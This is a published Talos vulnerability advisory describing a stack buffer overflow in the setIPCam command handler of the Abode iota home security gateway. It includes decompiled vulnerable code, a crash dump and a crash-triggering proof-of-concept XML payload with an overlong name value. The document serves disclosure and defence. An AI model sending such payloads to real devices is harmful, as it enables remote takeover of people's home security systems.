Talos Vulnerability Report

TALOS-2022-1560

Abode Systems, Inc. iota All-In-One Security Kit XCMD setIPCam stack-based buffer overflow vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-32454

SUMMARY

A stack-based buffer overflow vulnerability exists in the XCMD setIPCam functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted XCMD can lead to remote code execution. An attacker can send a malicious XML payload to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The `iota` device receives command and control messages (referred to in the application as XCMDs) via an XMPP connection established during the initialization of the `hpgw` application. As of version 6.9Z there are 222 XCMDs registered within the application. Each XCMD is associated with a function intended to handle it. As discussed in TALOS-2022-1552 there is a service running on UDP/55050 that allows an unauthenticated user access to execute these XCMDs.

An XCMD, by virtue of being commonly transmitted over XMPP, is an XML payload structured in a specific format. Each XCMD must contain a root node `<p>`, which must contain a child element, `<mac>` with an attribute `v` containing the target device MAC Address. There must also be a child element `<cmd>` which must contain an attribute `a` naming the XCMD to be executed. From there, various XCMDs require various child elements that contain information relevent only to that handler.

As a simple example (`setIPCam` is one of the more extensive XCMD handlers), an XCMD to rename a camera using `setIPCam` might appear as follows:

```
<?xml version="1.0" encoding="UTF-8"?>
<p>
  <mac v="B0:C5:CA:00:00:00"/>
  <cmds>
    <cmd a="setIPCam">
      <action v="setParam"/>
      <n v="IPCam Name"/>
    </cmd>
  </cmds>
</p>
```

This XCMD can be used to discover or configure Abode cameras, including the camera included on the Abode iota. For the purposes of this vulnerability, we will focus on the portion of the XCMD handler responsible setting parameters, specifically for modifying the camera’s “name” parameter. The value associated with the `n` XML tag is what will be used to update the device’s name.

In order to reach the vulnerable code, the `action` tag value must be `setParam`. If that is the case, then the XCMD handler will parse the remaining XML tags looking for various parameters that are associated with an IPCam device and uses these values to populate a new structure that is allocated on the stack. We refer to this structure as `xfinder_config_t` because it is used across a handful of other XFINDER related functionality. This `xfinder_config_t` structure is too large to describe in its entirety, but suffice it to say that the `name` field is a 32-byte character array located 0x10C bytes from the head of the structure, and 0xF4 bytes from the end.

Unfortunately, copying the name field from the XCMD to the `xfinder_config_t.name` field is done using `strcpy`, and no significant validation of the attacker-supplied value is conducted beforehand. A sufficiently long value for `n` will corrupt the stack frame, overwriting the return value on the stack and causing attacker-control of the program counter when the function returns.

The relevant portions of the `setIPCam` XCMD handler are included below.

```
int __fastcall setIPCam(xml_t *xcmd, xstrbuf_t *a2)
{
  char *action;
  char *name;
  xfinder_config_t ipcam_1;
  xfinder_config_t ipcam_2;

  action = get_xcmd_param(xcmd, "action");
  if ( !has_content(action) )
    action = "scanIPCam";  // Default action is to scan for XFINDER devices on the
network
  ...

  // [1] If the action is the vulnerable `setParam` action
  if ( !strcmp(action, "setParam") )
  {
    // [2] Extract the `n` tag, for `name`
    name = get_xcmd_param(xcmd, "n");
    ...
    do_trace(24, "xcmd_set_ipcam", 15005);

    // [3] If `name` was supplied
    if ( has_content(name) )
    {
      // [4] strcpy it into the `ipcam_1` struct on the stack, ignoring the fact
that `ipcam_1.name` is only 32 bytes
      strcpy(ipcam_1.name, name);
      flag = NAME;
    }
    else
    {
      flag = NONE;
    }
    ...
}
```

At [1] a check occurs to determine if the action for this XCMD is the vulnerable setParam action. If so, at [2] a pointer to the n field is extracted from the XML payload and stored in name. At [3], the name variable is checked to ensure that it is not NULL (an indicator that no n tag was supplied) and that the string actually contains data. If so, at [4] a call to strcpy is used to move the n tag value into the name field of the xfinder_config_t structure, which will overflow if the n value is longer than 32 bytes.

A sufficiently long value for the n tag will result in corruption of the stack, attacker control of the return value and ultimately remote code execution.

Crash Information

```
Thread 27 "hpgw" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 210.327]
0x41414140 in ?? ()
────────────────────────────────────────────────────────────────────────────
registers ────
$r0  : 0x0
$r1  : 0x0000000024fd72  →  0x7700
$r2  : 0x0
$r3  : 0x361
$r4  : 0x41414141
$r5  : 0x41414141
$r6  : 0x41414141
$r7  : 0x41414141
$r8  : 0x41414141
$r9  : 0x41414141
$r10 : 0x41414141
$r11 : 0x41414141
$r12 : 0x0
$sp  : 0x00000071a4df58  →  "MMMM"
$lr  : 0x0000000010cd1c  →   movs r4,  r0
$pc  : 0x41414140
$cpsr: [negative ZERO carry overflow interrupt fast THUMB]
───────────────────────────────────────────────────────────────────────
code:arm:THUMB ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
────────────────────────────────────────────────────────────────────────────────────
──────
```

Exploit Proof of Concept

```
<?xml version="1.0" encoding="UTF-8"?>
<p>
  <mac v="B0:C5:CA:00:00:00"/>
  <cmds>
    <cmd a="setIPCam">
      <action v="setParam"/>
      <n v="MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM..."
    </cmd>
  </cmds>
</p>
```

TIMELINE

2022-07-13 - Initial Vendor Contact

2022-07-14 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2022-1559

NEXT REPORT

TALOS-2022-1561